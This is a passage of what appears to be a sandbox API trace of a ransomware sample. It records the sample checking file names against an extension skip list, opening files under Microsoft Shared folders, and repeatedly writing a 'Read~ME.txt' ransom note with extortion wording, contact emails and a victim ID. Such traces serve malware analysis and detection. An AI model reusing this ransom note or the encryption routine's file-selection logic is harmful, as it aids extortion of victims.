	[0078.668] lstrlenW (lpString=".lnk") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.668] lstrlenW (lpString=".msp") returned 4
	[0078.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.669] lstrlenW (lpString=".pif") returned 4
	[0078.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.669] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4700 | out: hHeap=0x300000) returned 1
	[0078.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.669] RtlWakeConditionVariable () returned 0x365f70
	[0078.669] GetCurrentThreadId () returned 0x9f4
	[0078.669] GetCurrentThreadId () returned 0x9f4
	[0078.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f47a8 | out: hHeap=0x300000) returned 1
	[0078.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c70 | out: hHeap=0x300000) returned 1
	[0078.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f47a8
	[0078.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.670] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.670] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.671] CloseHandle (hObject=0x120) returned 1
	[0078.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f47a8 | out: hHeap=0x300000) returned 1
	[0078.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.671] RtlWakeConditionVariable () returned 0x365f70
	[0078.671] GetCurrentThreadId () returned 0x9f4
	[0078.671] GetCurrentThreadId () returned 0x9f4
	[0078.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ca8 | out: hHeap=0x300000) returned 1
	[0078.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.672] lstrlenW (lpString=".scr") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.672] lstrlenW (lpString=".cmd") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.672] lstrlenW (lpString=".dll") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.672] lstrlenW (lpString=".dll.mui") returned 8
	[0078.672] lstrlenW (lpString=".bat") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.672] lstrlenW (lpString=".cpl") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.672] lstrlenW (lpString=".sys") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.672] lstrlenW (lpString=".msc") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.672] lstrlenW (lpString=".com") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.672] lstrlenW (lpString=".lnk") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.672] lstrlenW (lpString=".msp") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.672] lstrlenW (lpString=".pif") returned 4
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.672] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.673] RtlWakeConditionVariable () returned 0x365f70
	[0078.673] GetCurrentThreadId () returned 0x9f4
	[0078.673] GetCurrentThreadId () returned 0x9f4
	[0078.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f48f8 | out: hHeap=0x300000) returned 1
	[0078.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ce0 | out: hHeap=0x300000) returned 1
	[0078.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f48f8
	[0078.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.709] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.709] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.710] CloseHandle (hObject=0x120) returned 1
	[0078.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f48f8 | out: hHeap=0x300000) returned 1
	[0078.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.710] RtlWakeConditionVariable () returned 0x365f70
	[0078.711] GetCurrentThreadId () returned 0x9f4
	[0078.711] GetCurrentThreadId () returned 0x9f4
	[0078.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ce8 | out: hHeap=0x300000) returned 1
	[0078.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6dc0 | out: hHeap=0x300000) returned 1
	[0078.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4ce8
	[0078.711] lstrlenW (lpString=".scr") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.711] lstrlenW (lpString=".cmd") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.711] lstrlenW (lpString=".dll") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.711] lstrlenW (lpString=".dll.mui") returned 8
	[0078.711] lstrlenW (lpString=".bat") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.711] lstrlenW (lpString=".cpl") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.711] lstrlenW (lpString=".sys") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.711] lstrlenW (lpString=".msc") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.711] lstrlenW (lpString=".com") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.711] lstrlenW (lpString=".lnk") returned 4
	[0078.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.712] lstrlenW (lpString=".msp") returned 4
	[0078.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.712] lstrlenW (lpString=".pif") returned 4
	[0078.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.712] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4ce8 | out: hHeap=0x300000) returned 1
	[0078.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.784] RtlWakeConditionVariable () returned 0x365f70
	[0078.784] GetCurrentThreadId () returned 0x9f4
	[0078.784] GetCurrentThreadId () returned 0x9f4
	[0078.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0078.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f99a8 | out: hHeap=0x300000) returned 1
	[0078.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6028
	[0078.784] lstrlenW (lpString=".scr") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.785] lstrlenW (lpString=".cmd") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.785] lstrlenW (lpString=".dll") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.785] lstrlenW (lpString=".dll.mui") returned 8
	[0078.785] lstrlenW (lpString=".bat") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.785] lstrlenW (lpString=".cpl") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.785] lstrlenW (lpString=".sys") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.785] lstrlenW (lpString=".msc") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.785] lstrlenW (lpString=".com") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.785] lstrlenW (lpString=".lnk") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.785] lstrlenW (lpString=".msp") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.785] lstrlenW (lpString=".pif") returned 4
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.785] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6028 | out: hHeap=0x300000) returned 1
	[0078.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.786] RtlWakeConditionVariable () returned 0x365f70
	[0078.786] GetCurrentThreadId () returned 0x9f4
	[0078.786] GetCurrentThreadId () returned 0x9f4
	[0078.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b60d0 | out: hHeap=0x300000) returned 1
	[0078.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f99e0 | out: hHeap=0x300000) returned 1
	[0078.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b60d0
	[0078.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.814] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.814] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.815] CloseHandle (hObject=0x120) returned 1
	[0078.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b60d0 | out: hHeap=0x300000) returned 1
	[0078.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.815] RtlWakeConditionVariable () returned 0x365f70
	[0078.815] GetCurrentThreadId () returned 0x9f4
	[0078.815] GetCurrentThreadId () returned 0x9f4
	[0078.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6418 | out: hHeap=0x300000) returned 1
	[0078.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c48 | out: hHeap=0x300000) returned 1
	[0078.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6418
	[0078.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.832] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.832] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.833] CloseHandle (hObject=0x120) returned 1
	[0078.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6418 | out: hHeap=0x300000) returned 1
	[0078.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.834] RtlWakeConditionVariable () returned 0x365f70
	[0078.834] GetCurrentThreadId () returned 0x9f4
	[0078.834] GetCurrentThreadId () returned 0x9f4
	[0078.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2030 | out: hHeap=0x300000) returned 1
	[0078.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b058 | out: hHeap=0x300000) returned 1
	[0078.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2030
	[0078.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.836] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.836] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.837] CloseHandle (hObject=0x120) returned 1
	[0078.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2030 | out: hHeap=0x300000) returned 1
	[0078.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.837] RtlWakeConditionVariable () returned 0x365f70
	[0078.838] GetCurrentThreadId () returned 0x9f4
	[0078.838] GetCurrentThreadId () returned 0x9f4
	[0078.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6610 | out: hHeap=0x300000) returned 1
	[0078.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b090 | out: hHeap=0x300000) returned 1
	[0078.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6610
	[0078.838] lstrlenW (lpString=".scr") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".scr") returned 0x0
	[0078.838] lstrlenW (lpString=".cmd") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".cmd") returned 0x0
	[0078.838] lstrlenW (lpString=".dll") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dll") returned 0x0
	[0078.838] lstrlenW (lpString=".bat") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".bat") returned 0x0
	[0078.838] lstrlenW (lpString=".cpl") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".cpl") returned 0x0
	[0078.838] lstrlenW (lpString=".sys") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".sys") returned 0x0
	[0078.838] lstrlenW (lpString=".msc") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".msc") returned 0x0
	[0078.838] lstrlenW (lpString=".com") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".com") returned 0x0
	[0078.838] lstrlenW (lpString=".lnk") returned 4
	[0078.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".lnk") returned 0x0
	[0078.839] lstrlenW (lpString=".msp") returned 4
	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".msp") returned 0x0
	[0078.839] lstrlenW (lpString=".pif") returned 4
	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".pif") returned 0x0
	[0078.839] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.839] lstrlenW (lpString=".sqb") returned 4
	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".sqb") returned 0x0
	[0078.839] lstrlenW (lpString=".ost") returned 4
	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".ost") returned 0x0
	[0078.839] lstrlenW (lpString=".txt") returned 4
	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".txt") returned 0x0
	[0078.839] lstrlenW (lpString=".mdt") returned 4
